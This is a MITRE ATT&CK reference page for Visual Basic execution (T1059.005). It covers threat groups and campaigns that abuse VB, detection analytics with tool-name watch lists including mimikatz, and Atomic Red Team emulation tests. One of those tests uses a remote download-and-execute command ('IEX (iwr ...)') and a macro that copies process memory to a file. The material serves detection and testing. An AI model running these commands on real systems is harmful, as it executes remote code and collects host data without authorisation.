tfMITRE ATT&CK sub-technique

Visual Basic T1059.005

sub-technique of T1059 Command and Scripting Interpreter

Tactic: Execution
Platforms: Linux, macOS, Windows
Version: 1.5
Created: 09 March 2020
Last modified: 12 May 2026

Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as Component Object Model and the Native API through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.[1][2]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 2%

Threat groups98th percentile · 98% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 1%

Campaigns99th percentile · 99% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 5%

Tools & malware95th percentile · 95% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 7%

Detection rules93rd percentile · 93% of ATT&CK techniques have this many detection rules written or fewer.

Visual Basic MITRE reference T1059.005

Top 2%of all ATT&CK techniques for number of groups

46 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

MirrorFaceG1054 ↗

Has used remote templates with VBA code in malware infection chains.1

created 2026-04-171 referenceaka Earth Kasha

Contagious InterviewG1052 ↗

Has utilized Visual Basic scripts in the execution of their downloader malware targeting Windows devices including as script called update.vbs.1

created 2025-10-191 referenceaka DeceptiveDevelopment

APT42G1044 ↗

Has used a VBScript to query anti-virus products.1

created 2025-01-081 reference

RedCurlG1039 ↗

Has used VBScript to run malicious files.1 2

created 2024-09-232 references

MalteiroG1026 ↗

Has utilized a dropper containing malicious VBS scripts.1

created 2024-03-131 reference

TA2541G1018 ↗

Has used VBS files to execute or establish persistence for additional payloads, often using file names consistent with email themes or mimicking system functionality.1 2

created 2023-09-122 references

All 46 groups for this technique · 6 newest in this preview

16 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

Juicy MixC0044 ↗

During Juicy Mix, OilRig used VBS droppers to deliver and establish persistence for the Mango backdoor.1

2022

C0011C0011 ↗

For C0011, Transparent Tribe used malicious VBA macros within a lure document as part of the Crimson malware installation process onto a compromised host.1

2021–2022

C0015C0015 ↗

During C0015, the threat actors used a malicious HTA file that contained a mix of HTML and JavaScript/VBScript code.1

2021

Outer SpaceC0042 ↗

During Outer Space, OilRig used VBS droppers to deploy malware.1

2021

Operation CuckooBeesC0012 ↗

During Operation CuckooBees, the threat actors executed an encoded VBScript file using wscript and wrote the decoded output to a text file.1

2019–2022

Operation Dream JobC0022 ↗

During Operation Dream Job, Lazarus Group executed a VBA written malicious macro after victims download malicious DOTM files; Lazarus Group also used Visual Basic macro code to extract a double Base64 encoded DLL implant.1 2

2019–2020

All 16 campaigns for this technique · 6 newest in this preview

Offense vs defense T1059.005

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 15Sigma rules (cumulative) · 29Splunk ESCU (cumulative) · 7

first rule: 2017 Q2 · 15 of 16 campaigns plotted (Operation AkaiRyū (dated 2004) falls before the 2014 window)

Visual Basic detection strategy DET0076

MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Behavioral Detection of Visual Basic Execution (VBS/VBA/VBScript)

Enterprise

3 platforms

AN0209 · Windows

Detects execution of VB-based scripts or macros (VBS/VBA/VBScript) through cscript.exe/wscript.exe, Office-based process chains, or HTA usage. Focuses on chained behavior: Office or HTML container spawns script host > script host spawns PowerShell, network connections, or process injection.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Module LoadDC0016	WinEventLog:Sysmon	EventCode=7
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ParentProcess	Microsoft Word/Excel or mshta.exe spawning wscript.exe/cscript.exe.
UserContext	Script execution by non-admin users or service accounts.
TimeWindow	Script execution outside normal business hours or patching cycle.
PayloadEntropyThreshold	High entropy indicative of obfuscation or encoding in the script.
ModuleName	Loading of vbscript.dll, scrrun.dll, or other scripting engine modules.

AN0210 · macOS

Detects embedded or emulated VBScript/VBA execution via Wine-based apps, Office for Mac abusing cross-platform .NET features, or macros dropped and invoked via AppleScript or third-party automation tools.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Script ExecutionDC0029	macos:unifiedlog	log stream --predicate 'eventMessage contains "wscript" OR "vbs"'
Process CreationDC0032	macos:osquery	process_events
Command ExecutionDC0064	macos:syslog	system.log

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ScriptLocation	Script run from ~/Downloads, ~/Library, or /tmp/
EmulationContext	Wine or CrossOver launching legacy Windows scripting engines.
UserContext	VB execution from non-standard or shared users on endpoint.

AN0211 · Linux

Detects abuse of Mono/.NET Core environments to execute VB-like scripts, often in environments with Office emulation or WINE. Focus is on rare invocations of scripting hosts like mono.exe or .NET shells, often seen in spam filtering or forensic labs with Office support.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Script ExecutionDC0029	linux:syslog	/var/log/syslog
Process CreationDC0032	auditd:SYSCALL	execve

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
InterpreterPath	Mono/.NET Core binary location may differ per distro or Docker container.
FileExtension	.vbs, .vb, or .vba run under non-standard interpreters.
ExecContext	Execution by low-privilege users or from /tmp/.

1 analytic

Certain commands are frequently used by malicious actors and infrequently used by normal users. By looking for execution of these commands in short periods of time, we can not only see when a malicious user was on the system but also get an idea of what they were doing.

TypeTTPCoverageModerateSubmitted2013

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-PLA	Process Lineage Analysis

Data model references

The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.

Object	Action	Field
process	create	hostname
process	create	ppid
process	create	exe

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

processes = search Process:Create
reg_processes = filter processes where (exe == "arp.exe" or exe == "at.exe" or exe == "attrib.exe"
 or exe == "cscript.exe" or exe == "dsquery.exe" or exe == "hostname.exe"
 or exe == "ipconfig.exe" or exe == "mimikatz.exe" or exe == "nbstat.exe"
 or exe == "net.exe" or exe == "netsh.exe" or exe == "nslookup.exe"
 or exe == "ping.exe" or exe == "quser.exe" or exe == "qwinsta.exe"
 or exe == "reg.exe" or exe == "runas.exe" or exe == "sc.exe"
 or exe == "schtasks.exe" or exe == "ssh.exe" or exe == "systeminfo.exe"
 or exe == "taskkill.exe" or exe == "telnet.exe" or exe == "tracert.exe"
 or exe == "wscript.exe" or exe == "xcopy.exe")
reg_grouped = group reg by hostname, ppid where(max time between two events is 30 minutes)
output reg_grouped

DNIF version of the above pseudocode.

_fetch * from event where $LogName=WINDOWS-SYSMON AND $EventID=1 AND $App=regex(arp\.exe|at\.exe|attrib\.exe|cscript\.exe|dsquery\.exe|hostname\.exe|ipconfig\.exe|mimikatz.exe|nbstat\.exe|net\.exe|netsh\.exe|nslookup\.exe|ping\.exe|quser\.exe|qwinsta\.exe|reg\.exe|runas\.exe|sc\.exe|schtasks\.exe|ssh\.exe|systeminfo\.exe|taskkill\.exe|telnet\.exe|tracert\.exe|wscript\.exe|xcopy\.exe)i group count_unique $App limit 100
>>_agg count
>>_checkif int_compare Count > 1 include

LogPoint version of the above pseudocode.

norm_id=WindowsSysmon event_id=1 image IN ["*\arp.exe", "*\at.exe", "*\attrib.exe", "*\cscript.exe", "*\dsquery.exe", "*\hostname.exe", "*\ipconfig.exe", "*\mimikatz.exe", "*\nbstat.exe", "*\net.exe", "*\netsh.exe", "*\nslookup.exe", "*\ping.exe", "*\quser.exe", "*\qwinsta.exe", "*\reg.exe", "*\runas.exe", "*\sc.exe", "*\schtasks.exe", "*\ssh.exe", "*\systeminfo.exe", "*\taskkill.exe", "*\telnet.exe", "*\tracert.exe", "*\wscript.exe", "*\xcopy.exe"]
| chart count() as cnt by host
| search cnt > 1

Unit tests

CAR’s own validation procedures for this analytic.

Within a command window, execute several of the commands in quick succession.

["ipconfig /all","hostname","systeminfo","reg.exe Query HKLM\\Software\\Microsoft"]

Tests3ExecutorsPowerShell 3Need elevation0 of 3Have prerequisites3Have cleanup3Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Visual Basic script execution to gather local computer information

windows

PowerShell

—

Yes

Visual Basic execution test, execute vbscript via PowerShell. When successful, system information will be written to $env:TEMP\T1059.005.out.txt.

Input arguments

Name	Type	Default	Description
vbscript	string	PathToAtomicsFolder\T1059.005\src\sys_info.vbs	Path to sample script

Attack command

cscript "#{vbscript}" > $env:TEMP\T1059.005.out.txt

Cleanup command

Remove-Item $env:TEMP\T1059.005.out.txt -ErrorAction Ignore

Prerequisite

Sample script must exist on disk at specified location (#{vbscript})

Check

if (Test-Path "#{vbscript}") {exit 0} else {exit 1}

Satisfy

New-Item -ItemType Directory (Split-Path "#{vbscript}") -Force | Out-Null
Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.005/src/sys_info.vbs" -OutFile "#{vbscript}"

GUIDc20bd5e8-607b-4e72-8af2-5f89bdc4ba55

Encoded VBS code execution

windows

PowerShell

—

Yes

Extract Memory via VBA

windows

PowerShell

—

Yes

This module attempts to emulate malware authors utilizing well known techniques to extract data from memory/binary files. To do this we first create a string in memory then pull out the pointer to that string. Finally, it uses this pointer to copy the contents of that memory location to a file stored in the $env:TEMP\atomic_t1059_005_test_output.bin.

Input arguments

Name	Type	Default	Description
ms_product	string	Word	Maldoc application Word

Attack command

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1059.005\src\T1059_005-macrocode.txt" -officeProduct "Word" -sub "Extract"

Cleanup command

Remove-Item "$env:TEMP\atomic_t1059_005_test_output.bin" -ErrorAction Ignore

Prerequisite

Microsoft #{ms_product} must be installed

Check

try {
  New-Object -COMObject "#{ms_product}.Application" | Out-Null
  $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
  Stop-Process -Name $process
  exit 0
} catch { exit 1 }

Satisfy

Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"

GUIDde58d7f7-2b55-4938-834f-e72d0fc68e55

Tests from Atomic Red Team (MIT licence) · technique definition

Visual Basic detections T1059.005

36 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 7%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs